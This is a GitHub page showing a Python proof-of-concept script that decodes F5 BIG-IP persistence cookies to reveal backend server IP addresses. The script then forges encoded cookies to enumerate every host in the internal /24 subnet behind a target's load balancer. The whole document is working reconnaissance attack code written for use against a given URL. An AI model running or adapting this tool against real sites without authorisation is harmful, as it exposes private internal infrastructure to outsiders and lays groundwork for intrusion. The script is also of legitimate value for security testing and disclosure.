-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathf5bigip_enum.py
131 lines (94 loc) · 3.28 KB
/
f5bigip_enum.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#!/usr/bin/env python
"""
PoC F5 BIG backend ipv4 enumeration
Usage: ./f5bigip_enum.py <target>
Example:
Probing F5 BigIP cookie against https://my_domain.com
Cookie found: ('COOKIENAME', '286589194.20480.0000')
IP found: 10.1.21.17:80
Trying 10.1.21.121
IP found: 10.1.21.121:80
Trying 10.1.21.254
"""
__author__ = 'Felipe Cerqueira - FSantos [at] TrustWave.com'
import sys
import socket
import requests
def f5bigip_encode(ipv4, port):
arr = map(int, ipv4.split('.'))
ipv4_encoded = int("%02x%02x%02x%02x" % (arr[3], arr[2], arr[1], arr[0]), 16)
s = "%04x" % (port)
inverted = s[2:] + s[0:2]
port_encoded = int(inverted, 16)
return "%s.%s.0000" % (ipv4_encoded, port_encoded)
def f5bigip_decode(encoded):
(encoded_ip, encoded_port, dummy) = encoded.split('.')
iphex = "%x" % int(encoded_ip)
porthex = "%04x" % (int(encoded_port))
ipv4 = "%d.%d.%d.%d" % (int(iphex[6:], 16), int(iphex[4:6], 16), int(iphex[2:4], 16), int(iphex[0:2], 16))
if porthex[-2:] == '00':
port = "%d" % (int(porthex[0:2], 16))
else:
t = porthex[-2:] + porthex[0:2]
port = "%d" % (int(t, 16))
return ipv4, port
class CookieNotFound(Exception):
pass
class ProbeF5Cookie:
def __init__(self, url, cookies=dict()):
if len(cookies) == 0:
self.__name = None
self.__value = None
else:
k = cookies.keys()[0]
v = cookies[k]
self.__name = k
self.__value = v
r = requests.get(url, cookies=cookies)
for name in r.cookies.iterkeys():
if self.__validate_cookie(name, r.cookies[name]):
self.__name = name
self.__value = r.cookies[name]
break
if self.__name is None:
raise CookieNotFound("F5 BigIP cookie not found")
def cookie(self):
return self.__name, self.__value
def __validate_cookie(self, name, param):
try:
(ipv4, port) = f5bigip_decode(param)
socket.gethostbyname_ex(ipv4)
return True
except Exception as e:
print e.message
return False
def main(url):
print "Probing F5 BigIP cookie against", url
try:
found_ips = set()
probe = ProbeF5Cookie(url)
(name, value) = probe.cookie()
print 'Cookie found:', probe.cookie()
(ipv4, port) = f5bigip_decode(value)
print 'IP FOUND: %s:%s' % (ipv4, port)
found_ips.add(ipv4)
idx = ipv4.rfind('.')
netmask = ipv4[0:idx]
for i in xrange(1, 255):
target = "%s.%d" % (netmask, i)
print "\rTrying", target,
# You can try to enumerate Ips in a differents ports (let me know if works for you)
encoded_cookie = f5bigip_encode(target, int(port))
probe = ProbeF5Cookie(url, {name: encoded_cookie})
(name, value) = probe.cookie()
(ipv4, port) = f5bigip_decode(value)
if ipv4 not in found_ips:
print "\nIP FOUND: %s:%s" % (ipv4, port)
found_ips.add(ipv4)
except CookieNotFound as e:
print e.message
if __name__ == '__main__':
if len(sys.argv) < 2:
print "Usage: %s <target>" % (sys.argv[0])
sys.exit(1)
main(sys.argv[1])